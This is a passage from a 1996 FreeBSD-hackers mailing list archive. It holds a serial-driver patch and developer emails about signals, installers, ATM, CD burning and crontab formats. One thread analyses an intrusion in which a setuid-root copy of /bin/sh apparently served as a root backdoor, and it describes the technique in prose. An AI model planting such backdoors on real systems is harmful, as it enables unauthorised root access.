**** --- 630,639 ---- com->it_in.c_ispeed = com->it_in.c_ospeed = comdefaultrate; com->it_out = com->it_in; + #ifdef BROKEN_UART + com->current_ospeed = comdefaultrate; + #endif + /* attempt to determine UART type */ printf("sio%d: type", unit); *************** *** 1624,1629 **** --- 1632,1641 ---- int unit; int txtimeout; + #ifdef BROKEN_UART + bool_t setspeed; + #endif + /* do historical conversions */ if (t->c_ispeed == 0) t->c_ispeed = t->c_ospeed; *************** *** 1637,1642 **** --- 1649,1669 ---- unit = DEV_TO_UNIT(tp->t_dev); com = com_addr(unit); iobase = com->iobase; + + #ifdef BROKEN_UART + /* + * check if the baud rate is different from the currently + * selected one, if so then set new rate. If it is the same, + * don't touch the speed, it confuses the UMC chip heavily + */ + + if (com->current_ospeed != t->c_ospeed) { + setspeed = TRUE; + com->current_ospeed = t->c_ospeed; + } else + setspeed = FALSE; + #endif + s = spltty(); if (divisor == 0) (void)commctl(com, TIOCM_DTR, DMBIC); /* hang up line */ *************** *** 1727,1733 **** != (LSR_TSRE | LSR_TXRDY)) goto retry; ! if (divisor != 0) { outb(iobase + com_cfcr, cfcr | CFCR_DLAB); outb(iobase + com_dlbl, divisor & 0xFF); outb(iobase + com_dlbh, (u_int) divisor >> 8); --- 1754,1764 ---- != (LSR_TSRE | LSR_TXRDY)) goto retry; ! #ifdef BROKEN_UART ! if (divisor != 0 && setspeed) { ! #else ! if (divisor != 0) { ! #endif outb(iobase + com_cfcr, cfcr | CFCR_DLAB); outb(iobase + com_dlbl, divisor & 0xFF); outb(iobase + com_dlbh, (u_int) divisor >> 8); --- _ _ _ __ _ |- |_| |- |- / |- Rene de Vries rene@freeze.iaf.nl | |\ |_ |_ /_ |_ Take a look at http://www.eeb.ele.tue.nl/tcja/ and tell me! From owner-freebsd-hackers Wed Jun 26 12:37:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA00412 for hackers-outgoing; Wed, 26 Jun 1996 12:37:26 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA00407 for ; Wed, 26 Jun 1996 12:37:24 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id MAA26131; Wed, 26 Jun 1996 12:36:55 -0700 (PDT) To: Brandon Gillespie cc: freebsd-hackers@freebsd.org Subject: Re: sysinstall and disks.. In-reply-to: Your message of "Wed, 26 Jun 1996 09:35:38 MDT." Date: Wed, 26 Jun 1996 12:36:54 -0700 Message-ID: <26129.835817814@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Both -stable and -current do now. 2.1.5 will also contain the fixed version (as will every other release or snap we do from now on). Jordan > Jordan.. Which version of sysinstall 'works' for installing new disks? > -stable, or only -current? And will the 2.1.5 release include the fixed > version, or would the path I want to take include downloading the source > and building my own binary? > > Thanks.. > > -Brandon Gillespie From owner-freebsd-hackers Wed Jun 26 12:38:31 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA00490 for hackers-outgoing; Wed, 26 Jun 1996 12:38:31 -0700 (PDT) Received: from jau.csc.fi (jau.csc.fi [193.166.1.196]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA00459 for ; Wed, 26 Jun 1996 12:38:17 -0700 (PDT) Received: (from jau@localhost) by jau.csc.fi (8.7.5/8.6.12+CSC-2.1) id WAA19711 for hackers@freebsd.com; Wed, 26 Jun 1996 22:35:52 +0300 (EET DST) From: Jukka Ukkonen Message-Id: <199606261935.WAA19711@jau.csc.fi> Subject: POSIX.4 signals + other POSIX.4 stuff to FreeBSD... To: hackers@freebsd.com Date: Wed, 26 Jun 1996 22:35:51 +0300 (EET DST) Reply-To: jau@aphrodite.funet.fi Latin-Date: Miercuri XXVI Iunie a.d. MCMXCVI Organization: Private person Phone: +358-0-6215280 (home) Content-Conversion: prohibited X-Mailer: ELM [version 2.4 PL25+pgp] MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello everybody! I have been considering adding POSIX.4 extended signals in FreeBSD (practically the same patch could be applied to any 4.4BSD system, I guess). There is this very odd thing about the kernel though. The kernel seems still to be infested with fragments of code that assume sigset_t is a simple integer type ANDing and ORing bits in the sigset_t variables instead of using the POSIX.1 macros to manipulate the signal sets. A typical example of the kind of change that would have to be done is from tty.c ... - (p->p_sigignore & sigmask(SIGTTOU)) == 0 && - (p->p_sigmask & sigmask(SIGTTOU)) == 0) { + ! sigismember (&p->p_sigignore, SIGTTOU) && + ! sigismember (&p->p_sigmask, SIGTTOU)) { Without a number this kind of changes it would be impossible to add the new extended signals. The type sigset_t would then have to become an array of maybe four unsigned int's or a struct containing such an array. I have now more or less figured out all these code fragments within the kernel itself, but it seems that also the Linux application binary interface etc. LKMs have gone on using the same assumption of a plain integer sigset_t model and they would break, if I changed only the kernel to support the new POSIX.4 signal model. Yet another potential problem I found was that, because all the longjmp() etc. calls have been implemented in iX86 assembly, it takes also a separate effort to make them work right with the extended signal set. So, I guess this all boils down to the simple question... Is there anyone else out there who would be interested in this kind of effort? BTW... Now that I have started asking there is also another question I have been wondering... What is the most reliable way to select a common memory address inside the 4.4BSD kernel for an object which has been mmap()ed as shared by multiple processes? I would like to make pick such an address so that any processes sharing the same object could be put sleeping on that very address until some other process sends a "go ahead" message to them. Maybe the macro vtophys from machine/pmap.h would be OK? Oh yes, you may have guessed it. I am thinking about adding in the kernel support for semaphores settable by user processes, including the counting semaphore model from POSIX.4. POSIX.4 message queues might come practically free with the semaphores, because I have POSIX.4 shared memory routines already which combined with the semaphores form the basis for the message queues anyway. It would also be really interesting to know whether anyone from the mmap() people has been working on the new mlockall(2) and munlockall(2) stuff that was defined by POSIX.4. Cheers, // jau ------ / Jukka A. Ukkonen, FUNET / Centre for Scientific Computing /__ M.Sc. (sw-eng & cs) Tel: (Home&Fax) +358-0-6215280 / Internet: ukkonen@csc.fi (Work) +358-0-4573208 v Internet: jau@funet.fi (Mobile) +358-400-606671 From owner-freebsd-hackers Wed Jun 26 13:40:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA09842 for hackers-outgoing; Wed, 26 Jun 1996 13:40:10 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA09835 for ; Wed, 26 Jun 1996 13:40:08 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id NAA27238 for ; Wed, 26 Jun 1996 13:39:47 -0700 (PDT) Message-Id: <199606262039.NAA27238@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: hackers@freebsd.com Subject: Does -current's gdb support threads? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 26 Jun 1996 13:39:46 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, If I use the thread package found in -current, would I be able to use gdb to debug individual threads in a program? Tnks, Amancio From owner-freebsd-hackers Wed Jun 26 13:55:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA11034 for hackers-outgoing; Wed, 26 Jun 1996 13:55:16 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA11024; Wed, 26 Jun 1996 13:55:12 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id NAA03044; Wed, 26 Jun 1996 13:55:05 -0700 (PDT) Date: Wed, 26 Jun 1996 13:55:05 -0700 (PDT) From: -Vince- To: "Michael L. VanLoon -- HeadCandy.com" cc: "Eric J. Schwertfeger" , Mark Murray , hackers@freebsd.org, security@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606260511.WAA00500@MindBender.HeadCandy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Michael L. VanLoon -- HeadCandy.com wrote: > >On Tue, 25 Jun 1996, Eric J. Schwertfeger wrote: > >> On Tue, 25 Jun 1996, -Vince- wrote: > > >> > Yeah, you have a point but jbhunt was watching the user as he > >> > hacked root since he brought the file from his own machine.... so that > >> > wasn't something the admin was tricked into doing.. > > >> Then the important question is, how did he move the file so that it > >> retained the setuid bit? We're already pretty sure that the program is > >> only /bin/sh with the setuid bit turned on. So either he found a way to > >> move the file with the bit turned on, or he found a way to turn it on, > >> which reqires root access. > > > It was a remote login so he had to transfer it over somehow... > > Well, *if* that's true, it still wouldn't be setuid root just from the > transfer. He'd *still* have to get root some other way to make this > binary setuid root. > > But if he's going to do that, why bother copying a binary over the > network -- it would just be easier to just snag a copy of your own > /bin/sh and mark it setuid root. Hmmm, what happens if he tars it first and then sends it over? Vince From owner-freebsd-hackers Wed Jun 26 14:28:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA13790 for hackers-outgoing; Wed, 26 Jun 1996 14:28:11 -0700 (PDT) Received: (from mpp@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA13781 for freebsd-hackers; Wed, 26 Jun 1996 14:28:07 -0700 (PDT) From: Mike Pritchard Message-Id: <199606262128.OAA13781@freefall.freebsd.org> Subject: away for a bit To: freebsd-hackers Date: Wed, 26 Jun 1996 14:28:07 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Due to a variety of reasons, I have been away from my e-mail for the past few weeks, and will probably remain so until the early to mid part of July. If you have sent me mail and were wondering what was going on, rest assured that I will get to it eventually. If you have a pressing FreeBSD documentation issue, please send it to freebsd-doc@freebsd.org. -- Mike Pritchard mpp@FreeBSD.org "Go that way. Really fast. If something gets in your way, turn" From owner-freebsd-hackers Wed Jun 26 14:51:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA17606 for hackers-outgoing; Wed, 26 Jun 1996 14:51:48 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (root@premise.CS.Berkeley.EDU [128.32.33.172]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA17556 for ; Wed, 26 Jun 1996 14:51:40 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (localhost.Berkeley.EDU [127.0.0.1]) by premise.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id OAA22537; Wed, 26 Jun 1996 14:51:04 -0700 Message-Id: <199606262151.OAA22537@premise.CS.Berkeley.EDU> X-Mailer: exmh version 1.6.7 5/3/96 To: Mark Tinguely cc: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-reply-to: Your message of "Wed, 26 Jun 1996 12:56:55 CDT." <199606261756.MAA28470@plains.nodak.edu> From: bmah@cs.berkeley.edu (Bruce A. Mah) Reply-to: bmah@cs.berkeley.edu X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 26 Jun 1996 14:51:01 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Mark Tinguely writes: > I guess I am confused to what scope this VC and address is to be associated. > I assumed this was talking about IP over FR/ATM. Well, I was thinking about running IP over ATM, and that the space of VCIDs includes all VCs at a single end system (in the same way that port numbers are for TCP or UDP). I'm not sure what address you're thinking about. > It does not make any sense that another local native ATM application to need > to do a VC/address lookup. As I understand things (hidden disclaimer) that > it was up to the application to manage interleaving of messages down a > particular VC, so we would not arbitrarilly place information from different > appications down a VC. In a simular thread, is there a generic way to access > native ATM services like the IP inetd? Now for native ATM applications, you're absolutely right...the application has exclusive use of the VC and it alone controls multiplexing of cells (or AAL frames or whatever) down its VC(s). I don't know off-hand what the analog is for inetd. On XUNET II (experimental ATM WAN I worked on), when you wanted a VC to someone else, you passed the signalling software a string that said what service you wanted to connect to on the remote side. Of course this was pre-ATM Forum, so, well...standards? What standards? Bruce. From owner-freebsd-hackers Wed Jun 26 15:01:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA19893 for hackers-outgoing; Wed, 26 Jun 1996 15:01:24 -0700 (PDT) Received: from cyber1.servtech.com (root@cyber1.servtech.com [199.1.22.8]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA19865 for ; Wed, 26 Jun 1996 15:01:18 -0700 (PDT) Received: from pr-comm.com (prcomm.roc.servtech.com [204.181.3.14]) by cyber1.servtech.com (8.7.5/8.7.5) with SMTP id RAA00598; Wed, 26 Jun 1996 17:59:37 -0400 (EDT) Received: by pr-comm.com (IBM OS/2 SENDMAIL VERSION 1.3.14/(1.3PRC/3.0sos) id AA5590; Wed, 26 Jun 96 17:03:28 -0400 Message-Id: <9606262103.AA5590@pr-comm.com> Mime-Version: 1.0 Date: Wed, 26 Jun 96 16:59:33 -0400 From: "James Housley" To: freebsd-hackers@freebsd.org Reply-To: "James Housley" Cc: "Eric L. Hernes" , "Michael Smith" , "Hr.Ladavac" Subject: Linux Device on FreeBSD X-Mailer: Ultimedia Mail/2 Lite, IBM T. J. Watson Research Center Content-Id: <5587_87_4_835822773> Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Thank you for your quick responses. I found lpt.c, I was looking for the wrong filename originally. I will see what I am capable of doing. Eric, I have not visited your driver page yet, but I will. Thanks again to all. Jim. ------------------------------------------------+----------------------------- E-Mail: James E. Housley | PGP Key: pub 1024/03983B4D | 2C 3F 3A 0D A8 D8 C3 13 WWW: www.servtech.com/public/pr-comm | 7C F0 B5 BF 27 8B 92 FE ------------------------------------------------+----------------------------- From owner-freebsd-hackers Wed Jun 26 16:24:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA02408 for hackers-outgoing; Wed, 26 Jun 1996 16:24:57 -0700 (PDT) Received: from hp.com (hp.com [15.255.152.4]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA02395 for ; Wed, 26 Jun 1996 16:24:50 -0700 (PDT) Received: from srmail.sr.hp.com by hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA146831487; Wed, 26 Jun 1996 16:24:47 -0700 Received: from hpnmhjw.sr.hp.com by srmail.sr.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA291151483; Wed, 26 Jun 1996 16:24:43 -0700 Received: from mina.sr.hp.com by hpnmhjw.sr.hp.com with SMTP (1.37.109.16/15.5+ECS 3.3) id AA191531482; Wed, 26 Jun 1996 16:24:42 -0700 Message-Id: <199606262324.AA191531482@hpnmhjw.sr.hp.com> To: hackers@freefall.freebsd.org Cc: "Jordan K. Hubbard" , joerg_wunsch@uriah.heep.sax.de Subject: Thanks for the CDROM writer tools! Date: Wed, 26 Jun 1996 16:24:41 -0700 From: Darryl Okahata Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I just want to thank Joerg (for his CDROM burner drivers) and Jordan (for his scripts). I just burned my first CDROM, and things went quite well (except for the NFS install bugaboo that's still present in the 2.2-960612snap). What makes things even more impressive is that I'm using a recycled boatanchor to burn CDROMs: a 25MHz 386 w/16MB RAM, an el-cheapo NE2000 clone card, and an old 1542B SCSI controller. The iso9660 image was also accessed via NFS. A few years ago, something like this would have cost tens of thousands of dollars .... -- Darryl Okahata Internet: darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. From owner-freebsd-hackers Wed Jun 26 17:05:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA04641 for hackers-outgoing; Wed, 26 Jun 1996 17:05:09 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id RAA04636 for ; Wed, 26 Jun 1996 17:05:07 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Wed, 26 Jun 96 19:43:30 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Wed, 26 Jun 96 20:04:53 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id TAA28833; Wed, 26 Jun 1996 19:08:32 -0500 (CDT) Date: Wed, 26 Jun 1996 19:08:32 -0500 (CDT) From: Tony Kimball Message-Id: <199606270008.TAA28833@compound.Think.COM> To: hackers@freebsd.org Subject: longstanding, woeful inadeqacy Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk For about 12 years now I have been reading the occasional USENET post asking how to debug through an exec call, and have never seen a reasonable answer. I infer that it is not possible. How should this be fixed? From owner-freebsd-hackers Wed Jun 26 17:05:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA04672 for hackers-outgoing; Wed, 26 Jun 1996 17:05:47 -0700 (PDT) Received: from nightmare.dreamchaser.org ([207.40.47.18]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id RAA04666 for ; Wed, 26 Jun 1996 17:05:42 -0700 (PDT) Received: from nightmare (nightmare.dreamchaser.org [206.230.42.65]) by nightmare.dreamchaser.org (8.6.12/8.6.12) with SMTP id SAA00947 for ; Wed, 26 Jun 1996 18:05:51 -0600 Message-ID: <31D1D05F.446B9B3D@dreamchaser.org> Date: Wed, 26 Jun 1996 18:05:51 -0600 From: Gary Aitken X-Mailer: Mozilla 3.0b4 (X11; I; FreeBSD 2.1.0-RELEASE i386) MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: X11 server source loc? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm probably just blind and stupid... Where are the sources for the X11 server in 2.1R? I can find everything else, but not the server sources. -- Gary Aitken garya@ics.com (business) garya@dreamchaser.org (personal) From owner-freebsd-hackers Wed Jun 26 17:30:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA08209 for hackers-outgoing; Wed, 26 Jun 1996 17:30:21 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA08203 for ; Wed, 26 Jun 1996 17:30:17 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id RAA27801; Wed, 26 Jun 1996 17:25:44 -0700 (PDT) To: Darryl Okahata cc: hackers@freefall.freebsd.org, joerg_wunsch@uriah.heep.sax.de Subject: Re: Thanks for the CDROM writer tools! In-reply-to: Your message of "Wed, 26 Jun 1996 16:24:41 PDT." <199606262324.AA191531482@hpnmhjw.sr.hp.com> Date: Wed, 26 Jun 1996 17:25:44 -0700 Message-ID: <27799.835835144@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > A few years ago, something like this would have cost tens of > thousands of dollars .... Yeah, no kidding. I sense a market for cheap CD archival boxes. :-) Jordan From owner-freebsd-hackers Wed Jun 26 17:33:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA08401 for hackers-outgoing; Wed, 26 Jun 1996 17:33:03 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA08396 for ; Wed, 26 Jun 1996 17:33:01 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id RAA28554; Wed, 26 Jun 1996 17:31:04 -0700 (PDT) To: Tony Kimball cc: hackers@freebsd.org Subject: Re: longstanding, woeful inadeqacy In-reply-to: Your message of "Wed, 26 Jun 1996 19:08:32 CDT." <199606270008.TAA28833@compound.Think.COM> Date: Wed, 26 Jun 1996 17:31:04 -0700 Message-ID: <28552.835835464@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > For about 12 years now I have been reading the occasional USENET post > asking how to debug through an exec call, and have never seen a > reasonable answer. I infer that it is not possible. > > How should this be fixed? I think it's something that'd be far more trouble that it's worth to "fix" - why not just debug the binary being exec'd if that's the issue? Jordan From owner-freebsd-hackers Wed Jun 26 17:39:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA08645 for hackers-outgoing; Wed, 26 Jun 1996 17:39:13 -0700 (PDT) Received: from hp.com (hp.com [15.255.152.4]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA08640 for ; Wed, 26 Jun 1996 17:39:12 -0700 (PDT) Received: from srmail.sr.hp.com by hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA197825943; Wed, 26 Jun 1996 17:39:04 -0700 Received: from hpnmhjw.sr.hp.com by srmail.sr.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA297645939; Wed, 26 Jun 1996 17:39:00 -0700 Received: from mina.sr.hp.com by hpnmhjw.sr.hp.com with SMTP (1.37.109.16/15.5+ECS 3.3) id AA216625939; Wed, 26 Jun 1996 17:38:59 -0700 Message-Id: <199606270038.AA216625939@hpnmhjw.sr.hp.com> To: "Jordan K. Hubbard" Cc: hackers@freefall.freebsd.org, joerg_wunsch@uriah.heep.sax.de Subject: Re: Thanks for the CDROM writer tools! In-Reply-To: Your message of "Wed, 26 Jun 1996 17:25:44 PDT." <27799.835835144@time.cdrom.com> Date: Wed, 26 Jun 1996 17:38:58 -0700 From: Darryl Okahata Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > A few years ago, something like this would have cost tens of > > thousands of dollars .... > > Yeah, no kidding. I sense a market for cheap CD archival boxes. :-) Yeah, and they'll get even cheaper, especially in a couple of years if DVD takes off (and I see no reason why it shouldn't). The only problem is that CDROM burners will probably be obsolete then .... -- Darryl Okahata Internet: darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. From owner-freebsd-hackers Wed Jun 26 17:44:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA08825 for hackers-outgoing; Wed, 26 Jun 1996 17:44:06 -0700 (PDT) Received: from hda (ip62-max1-fitch.zipnet.net [199.232.245.62]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id RAA08771 for ; Wed, 26 Jun 1996 17:41:23 -0700 (PDT) Received: (from dufault@localhost) by hda (8.6.11/8.6.9) id UAA22866; Wed, 26 Jun 1996 20:53:47 -0400 From: Peter Dufault Message-Id: <199606270053.UAA22866@hda> Subject: Re: Help with Linux device on FreeBSD!!] To: housley@pr-comm.com Date: Wed, 26 Jun 1996 20:53:46 -0400 (EDT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <9606251504.AA4047@pr-comm.com> from "James Housley" at Jun 25, 96 10:58:57 am Reply-to: hdalog@zipnet.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I have the source code for a Linux device that interfaces gdb to > the Motorola 683xx processors BDM. The code is fairly simple. I > would like to re-write it to run on FreeBSD... > > What I am looking for is the source to /dev/lpt[x] or /dev/io... Start by opening /dev/io from a user process and accessing the register directly using inb and outb (I assume you are talking over the lpr data register). That may be all you need. If you have issues after that let us know. The inb / outb functions are in machine/cpufunc.h. At least on my system you need to have optimization on for them to work properly; turn on your -O switch if you get complaints from the compiler. -- Peter Dufault Real-Time Machine Control and Simulation HD Associates, Inc. Voice: 508 433 6936 dufault@hda.com Fax: 508 433 5267 From owner-freebsd-hackers Wed Jun 26 18:17:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA10191 for hackers-outgoing; Wed, 26 Jun 1996 18:17:09 -0700 (PDT) Received: from shell.monmouth.com (pechter@shell.monmouth.com [205.164.220.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA10056 for ; Wed, 26 Jun 1996 18:15:45 -0700 (PDT) Received: (from pechter@localhost) by shell.monmouth.com (8.6.12/8.6.12) id VAA27626 for freebsd-hackers@freebsd.org; Wed, 26 Jun 1996 21:11:02 -0400 From: Bill/Carolyn Pechter Message-Id: <199606270111.VAA27626@shell.monmouth.com> Subject: no subject (file transmission) To: freebsd-hackers@freebsd.org Date: Wed, 26 Jun 1996 21:11:01 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Received: (from pechter@localhost) by shell.monmouth.com (8.6.12/8.6.12) id TAA21815; Wed, 26 Jun 1996 19:58:59 -0400 From: Bill/Carolyn Pechter Message-Id: <199606262358.TAA21815@shell.monmouth.com> Subject: The crontab controversy To: andrsn@andrsn.stanford.edu (Annelise Anderson), freebsd-questions@freebsd.org Date: Wed, 26 Jun 1996 19:58:58 -0400 (EDT) Cc: freebsd-hackers In-Reply-To: from "Annelise Anderson" at Jun 26, 96 03:07:32 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Content-Length: 1523 > > /etc/crontab is not meant to be installed via crontab(1) - it is special > > in two ways: it is automatically read by cron and it has a different > > format than individual user crontab files. > I'm desperate enough to try anything right now. Thanks. > > Annelise > > > > > > It's confusing behavior... > > > > Guy Helmer, Dakota State University Computing Services - ghelmer@alpha.dsu.edu > My fellow FreeBSD folks: It's time we took a stand. Isn't it time we abandon the two methods of handling crontabs.? I'm a fan of OS/x and Pyramid dual universe stuff (which I will add to Freebsd -- think universe bsd and universe gnu/linux) and EVEN I think ONE crontab method is enough for anyone. Should we: 1. Declare the ATT method the winner. 2. Declare the BSD method (the REAL original crontab) the winner. 3. Make the installation program remove one or the other at install (put /var/cront/tabs/root in with the same actions as /etc/crontab and have the install remove one or the other) 4. Ignore the problem and trap the users/admins? I'd support 1 or 3 and live with 2 (and hate 4) Bill ------------------------------------------------------------------------------- Bill Pechter/Carolyn Pechter | 17 Meredith Drive, Tinton Falls, NJ 07724, 908-389-3592 | pechter@shell.monmouth.com I'll run Win95 on my box when you pry the keyboard from my cold, dead hands. FreeBSD, OS/2, CP/M, RT11, spoken here. From owner-freebsd-hackers Wed Jun 26 18:31:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA11115 for hackers-outgoing; Wed, 26 Jun 1996 18:31:45 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA11109 for ; Wed, 26 Jun 1996 18:31:41 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id SAA29796; Wed, 26 Jun 1996 18:30:33 -0700 (PDT) To: Bill/Carolyn Pechter cc: freebsd-hackers@freebsd.org Subject: Re: no subject (file transmission) In-reply-to: Your message of "Wed, 26 Jun 1996 21:11:01 EDT." <199606270111.VAA27626@shell.monmouth.com> Date: Wed, 26 Jun 1996 18:30:33 -0700 Message-ID: <29794.835839033@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm a fan of OS/x and Pyramid dual universe stuff (which I will add to > Freebsd -- think universe bsd and universe gnu/linux) and EVEN I think ONE Yuck! That was a total kludge, and Apollo's variant symlinks a far more powerful/flexible approach (plus you don't have an extra "universe" command, you just set environment variables - principle of least surprise). Please don't perpetuate that system! :-( > 2. Declare the BSD method (the REAL original crontab) the winner. I think this is probably our best bet. Jordan From owner-freebsd-hackers Wed Jun 26 18:36:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA11377 for hackers-outgoing; Wed, 26 Jun 1996 18:36:45 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA11372 for ; Wed, 26 Jun 1996 18:36:41 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA08160; Thu, 27 Jun 1996 10:53:41 +0930 From: Michael Smith Message-Id: <199606270123.KAA08160@genesis.atrad.adelaide.edu.au> Subject: Re: X11 server source loc? To: garya@dreamchaser.org (Gary Aitken) Date: Thu, 27 Jun 1996 10:53:40 +0930 (CST) Cc: 